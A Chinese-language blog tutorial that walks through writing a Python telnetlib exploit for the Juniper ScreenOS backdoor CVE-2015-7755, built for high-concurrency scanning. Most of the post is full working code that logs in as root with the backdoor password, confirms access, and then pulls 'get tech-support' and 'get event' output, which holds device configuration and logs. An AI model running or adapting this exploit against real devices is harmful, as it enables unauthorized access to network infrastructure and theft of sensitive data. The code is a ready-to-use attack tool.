Title(EN): Shell Interaction in Python #1: Telent
Author: dog2
背景
我们常常需要使用编程语言实现与某些终端交互,以实现交互过程的可控性。具体到这类涉及终端交互的漏洞,只有编写合适的PoC/Exp,并与目标有正确的交互逻辑,才能进行漏洞验证。
这里,我们以Juniper后门漏洞CVE-2015-7755为例,介绍如何使用Python编写Telnet交互程序,且:
要求该程序是可以用于高并发扫描的。
实现Exp,获取相关敏感信息。
Juniper后门漏洞相关信息可参见Freebuf相关文章 。简而言之,即可使用任意用户名及密码 <<< %s(un='%s') = %u 来登录一些Juniper ScreenOS设备的Telnet及SSh服务。
难点
模块选择
初版PoC程序我使用了相对底层的socket模块来简单实现,用于检测单个目标没有问题,但在高并发扫描的时候效率极低,猜测是I/O阻塞的原因。
转而使用系统库内置模块telnetlib:
使用telnet模块后并发扫描的效率就非常高了,CPU及带宽占用率都上去了。简单翻阅telnetlib的源码,发现它是有I/O控制的。
Exp
Juniper设备使用get命令来获取设备的各类信息,可以使用 get ? 来查看相关命令,其中最重要的是2个:
get tech-support : 它综合了大部分get子命令的结果。
get event : 包含了设备日志。
但存在一个问题,如上2个命令返回的全部信息总量通常比较大,一般>=40KB,而服务端不是一次性将信息全部输出给客户端的,而是分批输出到管道中的,客户端需要不断地键入回车,来顺序获取各个信息分段。
这就要求程序能不断获取结果信息,并正确判断最后一个分段以适时终止。
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import telnetlib as tldef poc (host, port=23 , timeout=10 , successFlag='ping other host' , doExp=True) : def exp (cmd, maxTo=3 ) : data = '--- more ---' ret = '' flag = '->' while '->' in flag: flag = telnetConn.read_until('->' , timeout=timeout) toNum = 0 telnetConn.write(cmd) while ('- more -' in data) and (toNum < maxTo): telnetConn.write('\n' ) try : data = telnetConn.read_until('- more -' , timeout=timeout) ret += data except Exception as err: toNum += 1 continue return ret telnetConn = tl.Telnet(host=host, port=port, timeout=timeout) ret = '' ret = telnetConn.read_until('login: ' , timeout=timeout) if 'login' not in ret.lower(): return False , ret, None , None , None telnetConn.write('root' + '\n' ) ret = telnetConn.read_until('password: ' , timeout=timeout) if 'password' not in ret.lower(): return False , None , None , None , None telnetConn.write("<<< %s(un='%s') = %u" + '\n' ) banner = telnetConn.read_some() telnetConn.write('?' + '\n' ) help = telnetConn.read_until(banner, timeout=timeout) techsupport = '' event = '' success = successFlag in help.lower() if success and doExp: techsupport = exp(cmd='get tech-support' ) event = exp(cmd='get event' ) return success, banner, help, techsupport, event
代码说明:
5 - 21行:实现了exp函数,用于在执行某个命令cmd,并获取全部的返回信息。其中, -> 字符串是juniper的shell输入提示符,我们通过判断它来过滤掉上一次的多余输出。在连续获取结果分段的过程中,若出现超时,则会最多尝试maxTo次。
23 - 42行:主代码逻辑,登陆了远端telnet,并执行了?命令,判断返回的信息中是否包含success_flag变量对应的字符串,默认是'ping other host',若存在则断定存在该漏洞。若doExp为True,则表示执行Exp,则程序会调用exp()函数分别执行上节中提到2个get命令并获取全部返回信息。 这里需要特别指出的是,返回的techsupport字符串中可能含有各种特殊编码的字符串,因此若需对其进行转码操作请再三考虑,以防改变原始数据 。